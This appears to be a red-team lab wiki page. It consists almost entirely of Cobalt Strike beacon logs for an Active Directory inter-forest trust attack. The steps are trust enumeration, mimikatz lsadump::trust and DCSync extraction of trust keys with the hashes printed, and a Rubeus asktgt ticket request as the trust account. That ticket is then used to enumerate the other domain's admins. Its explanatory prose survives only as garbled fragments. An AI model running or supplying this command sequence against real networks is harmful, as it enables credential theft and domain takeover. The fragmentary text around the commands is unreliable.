

white-bird

med-deal

white-bird

```
beacon> powershell get-domaintrust
[*] Tasked beacon to run: get-domaintrust
[+] host called home, sent: 313 bytes
[+] received output:
#< CLIXML

SourceName      : white-bird.local
TargetName      : raven-med.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 1/22/2023 4:19:54 AM
WhenChanged     : 6/11/2023 7:10:03 PM

SourceName      : white-bird.local
TargetName      : med-deal.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 1/22/2023 4:28:57 AM
WhenChanged     : 6/11/2023 6:53:04 PM

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress
N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI
beacon> powershell get-netuser -domain med-deal.local
[*] Tasked beacon to run: get-netuser -domain med-deal.local
[+] host called home, sent: 361 bytes
[+] received output:
#< CLIXML
```

2

NTLM

Mimikatz::trust /patch

DCSync

```

beacon> mimikatz lsadump::trust /patch
[*] Tasked beacon to run mimikatz's lsadump::trust /patch command
[+] host called home, sent: 750704 bytes
[+] received output:

Current domain: WHITE-BIRD.LOCAL (WHITE-BIRD / S-1-5-21-2387957962-993181570-3566323574)

Domain: RAVEN-MED.LOCAL (RAVEN-MED / S-1-5-21-3775014555-2484002919-2799327105)
[ In ] WHITE-BIRD.LOCAL -> RAVEN-MED.LOCAL
* 6/11/2023 12:10:03 PM - CLEAR - 5c 2a b4 94 fc 4f 7b a3 a8 b1 a7 39 6b f0 7b 5b cc 6e 47 bf ed 71 b4 5a 9
* aes256_hmac 88ead285d9b87a9ee1271e2c29ba299818fe2484c40257551b9611b86dcefa6d
* aes128_hmac b36bec6f11a5ec698fb8804b0c33c42b
* rc4_hmac_nt 03fcc4c25e868a558bd95135114b27c4

[ Out ] RAVEN-MED.LOCAL -> WHITE-BIRD.LOCAL
* 6/11/2023 11:53:03 AM - CLEAR - f0 02 5d 32 3d 83 c7 3b 64 06 9f 58 a0 ed 05 9e 57 5c 2e fe c6 06 06 f0 1
* aes256_hmac 795fef04cb8a2dbf82756c395eccd191135cb004fd352cce8959a69e3c8829ea
* aes128_hmac 2b073b902223b135a18d478e5a933ff6
* rc4_hmac_nt 19d072e747f5effd5cf9926fb998735a

[ In-1 ] WHITE-BIRD.LOCAL -> RAVEN-MED.LOCAL
* 4/2/2023 2:55:44 PM - CLEAR - cf 60 e7 8b 95 f0 f3 3e 1b f1 d0 38 d1 b8 03 d0 f0 dc 9d c4 e9 be d2 6d e4
* aes256_hmac cf5bfb50854886eefb2f37cc2e10ec7ebdf831aed008505072a65f029d07a59a
* aes128_hmac 188f594aabb7fd865a678e8e6ca4ae7c
* rc4_hmac_nt 080ac6d1f24994e258d527341338949a

```

```

Domain: MED-DEAL.LOCAL (MED-DEAL / S-1-5-21-1203459874-841433248-503030044)
[ In ] WHITE-BIRD.LOCAL -> MED-DEAL.LOCAL

[ Out ] MED-DEAL.LOCAL -> WHITE-BIRD.LOCAL
* 6/11/2023 11:53:04 AM - CLEAR - a6 88 40 44 0b d9 f6 4e 6e d0 67 d0 0a 83 b4 ee 2e dc 2e 30 70 47 40 30 7a 0
* aes256_hmac bb1e157a82cf58380c641ae24021b453daec78737156b4806c9007a3451f4b41
* aes128_hmac a8a0ed9de96355cd3b3a5c26cc4b2850
* rc4_hmac_nt 6dc6bd04edfb6b7298b9679531c9e2ca

[ In-1 ] WHITE-BIRD.LOCAL -> MED-DEAL.LOCAL

[Out-1] MED-DEAL.LOCAL -> WHITE-BIRD.LOCAL
* 6/11/2023 11:53:04 AM - CLEAR - c4 c4 a9 de 50 b4 d1 ed f6 f8 09 6b 70 fa f5 09 8b 10 86 77 99 fb 8f 45 c7 c
* aes256_hmac cf07c96775dbc2642d999ef1ead1dae25f88d756296562b95d90dc73b8c734d0
* aes128_hmac 6e0aad52e4eba175af486d4d3e2e24a3
* rc4_hmac_nt ca7228020b3b8609fa95df4dff219c1

```

DCSyGUID

```

beacon> powershell Get-DomainObject -Identity "CN=med-deal.local,CN=System,DC=white-bird,DC=local" | select objectGuid
[*] Tasked beacon to run: Get-DomainObject -Identity "CN=med-deal.local,CN=System,DC=white-bird,DC=local" | select objectGuid
[+] host called home, sent: 537 bytes
[+] received output:
#< CLIXML

objectguid
-----
8a7ce76d-f816-4cb2-b99d-9cd99cb565bb

```

```

beacon> mimikatz lsadump::dcsync /domain:white-bird.local /guid:{8a7ce76d-f816-4cb2-b99d-9cd99cb565bb}
[*] Tasked beacon to run mimikatz's lsadump::dcsync /domain:white-bird.local /guid:{8a7ce76d-f816-4cb2-b99d-9cd99cb565bb} command
[+] host called home, sent: 750705 bytes
[+] received output:
[DC] 'white-bird.local' will be the domain
[DC] 'dc05.white-bird.local' will be the DC server
[DC] Object with GUID '{8a7ce76d-f816-4cb2-b99d-9cd99cb565bb}'

Object RDN          : med-deal.local

** TRUSTED DOMAIN - Antisocial **

Partner            : med-deal.local
[ Out ] MED-DEAL.LOCAL -> WHITE-BIRD.LOCAL
* 6/11/2023 11:53:04 AM - CLEAR - a6 88 40 44 0b d9 f6 4e 6e d0 67 d0 0a 83 b4 ee 2e dc 2e 30 70 47 40 30 7a 07 e6 6d 2c 9a 5f 15
* aes256_hmac      bb1e157a82cf58380c641ae24021b453daec78737156b4806c9007a3451f4b41
* aes128_hmac      a8a0ed9de96355cd3b3a5c26cc4b2850
* rc4_hmac_nt      6dc6bd04edfb6b7298b9679531c9e2ca

[Out-1] MED-DEAL.LOCAL -> WHITE-BIRD.LOCAL
* 6/11/2023 11:53:04 AM - CLEAR - c4 c4 a9 de 50 b4 d1 ed f6 f8 09 6b 70 fa f5 09 8b 10 86 77 99 fb 8f 45 c7 cd ec d5 5e dc a5 86
* aes256_hmac      cf07c96775dbc2642d999ef1ead1dae25f88d756296562b95d90dc73b8c734d0
* aes128_hmac      6e0aad52e4eba175af486d4d3e2e24a3
* rc4_hmac_nt      ca72228020b3b8609fa95df4dff219c1

```

[Out] Dc00

```

beacon> mimikatz lsadump::trust /patch
[*] Tasked beacon to run mimikatz's lsadump::trust /patch command
[+] host called home, sent: 750704 bytes
[+] received output:

Current domain: MED-DEAL.LOCAL (MED-DEAL / S-1-5-21-1203459874-841433248-503030044)

Domain: WHITE-BIRD.LOCAL (WHITE-BIRD / S-1-5-21-2387957962-993181570-3566323574)
[ In ] MED-DEAL.LOCAL -> WHITE-BIRD.LOCAL
* 6/11/2023 11:53:05 AM - CLEAR - a6 88 40 44 0b d9 f6 4e 6e d0 67 d0 0a 83 b4 ee 2e dc 2e 30 70 47 40 30 7a 07 e6 6d 2c 9a 5f 15
c6 09 42 0a 13 0a 89 d2 0b d8 a9 ed d2 94 81 99 51 09 7f a5 95 4b 92 a7 4d ec 0b a7 66 89 16 23 31 69 87 f5 8f 70 de 0e 67 35 39 e3 de cf 8c 07 65 9d 75 ac 7a b0 2a ce b4 26 63 cd 70 29 80 7e f0 9a 85 3b 89 09 6a ea 23 12 03 9f ca e4 3a c4 12 5e ff 9d d1 f9 65 5b 86 2b 9b 9d cf b0 3b 75 61 80
* aes256_hmac      bb1e157a82cf58380c641ae24021b453daec78737156b4806c9007a3451f4b41
* aes128_hmac      a8a0ed9de96355cd3b3a5c26cc4b2850
* rc4_hmac_nt      6dc6bd04edfb6b7298b9679531c9e2ca

```

Rubeus FQDN \$ TGT () (

```

rubeus.exe asktgt /user:white-bird$ /domain:med-deal.local
/rc4: 6dc6bd04edfb6b7298b9679531c9e2ca /nowrap

```

```
beacon> execute-assembly /opt/red/rubeus.exe asktgt /user:white-bird$ /domain:med-deal.local /rc4:6dc6bd04edfb6b7298b9679531c9e2ca /nowrap
[*] Tasked beacon to run .NET program: rubeus.exe asktgt /user:white-bird$ /domain:med-deal.local /rc4:6dc6bd04edfb6b7298b9679531c9e2ca /nowrap
[+] host called home, sent: 551655 bytes
[+] received output:
```

```

      _____
     |           |
     |   _   _   |
     |  | | | |  |
     |  |_|_|_|_ |
     |_____|____|_____
    / \  / \  / \  / \
   /___/___/___/___/___\
  /___/___/___/___/___\
 /___/___/___/___/___\
/___/___/___/___/___\

v2.2.0
```

```
[*] Action: Ask TGT

[*] Using rc4_hmac hash: 6dc6bd04edfb6b7298b9679531c9e2ca
[*] Building AS-REQ (w/ preauth) for: 'med-deal.local\white-bird$'
[*] Using domain controller: 172.16.1.41:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFFDCCBRCgAwIBBaEDAgEWooIEIDCCBBxhgqQYMIIEFKADAgEFoRabDk1FRC1ERUFMLkxPQ0FMoiMwIaADAgECRowGBSga3JidGd0Gw5tZWZtZGVhbC5sb2Nhbk0KOC9QwgwPQoAMCARKhAwIA

ServiceName       : krbtgt/med-deal.local
ServiceRealm      : MED-DEAL.LOCAL
UserName          : white-bird$
UserRealm         : MED-DEAL.LOCAL
StartTime         : 6/14/2023 8:51:46 PM
EndTime          : 6/15/2023 6:51:46 AM
RenewTill        : 6/21/2023 8:51:46 PM
Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType           : rc4_hmac
Base64(key)       : 41Kyjdxtwlhk7piaDgnhq==
ASREP (key)       : 6DC6BD04EDFB6B7298B9679531C9E2CA
```

TGT

```

beacon> make_token med-deal\sql_service NotRealPassword
[*] Tasked beacon to create a token for med-deal\sql_service
[+] host called home, sent: 54 bytes
[+] Impersonated WHITE-BIRD\Administrator
beacon> kerberos_ticket_use /root/Desktop/out.kirbi
[*] Tasked beacon to apply ticket in /root/Desktop/out.kirbi
[+] host called home, sent: 2866 bytes
beacon> powershell get-netuser -domain med-deal.local
[*] Tasked beacon to run: get-netuser -domain med-deal.local
[+] host called home, sent: 361 bytes
[+] received output:
#< CLIXML

logoncount                : 28
badpasswordtime           : 5/8/2023 1:59:26 PM
description               : Built-in account for administering the computer/domain
distinguishedname         : CN=Administrator,CN=Users,DC=med-deal,DC=local
objectclass               : {top, person, organizationalPerson, user}
lastlogontimestamp        : 5/8/2023 1:07:33 PM
name                     : Administrator
objectsid                 : S-1-5-21-1203459874-841433248-503030044-500
samaccountname            : Administrator
admincount                : 1
codepage                  : 0
samaccounttype            : USER_OBJECT
accountexpires            : NEVER
countrycode               : 0
wheneverchanged           : 5/8/2023 8:07:33 PM
instancetype              : 4
objectguid                : edc130fe-90e0-43b1-9e22-6f77b6060d86
lastlogon                 : 5/8/2023 1:59:50 PM
lastlogoff                : 12/31/1600 4:00:00 PM
objectcategory            : CN=Person,CN=Schema,CN=Configuration,DC=med-deal,DC=local
dscorepropagationdata     : {1/21/2023 12:20:35 AM, 1/21/2023 12:05:26 AM, 1/1/1601 12:04:16 AM}
memberof                  : {CN=Group Policy Creator Owners,OU=Groups,DC=med-deal,DC=local, CN=Domain
Admins,OU=Groups,DC=med-deal,DC=local, CN=Enterprise
Admins,OU=Groups,DC=med-deal,DC=local, CN=Schema
Admins,OU=Groups,DC=med-deal,DC=local,...}

```

SQL MSSQL Med-deal Srv02 MSSQL Web02 MSSQL SQL

Revision #7

Created 5 September 2022 03:12:41 by

Updated 15 June 2023 04:18:43 by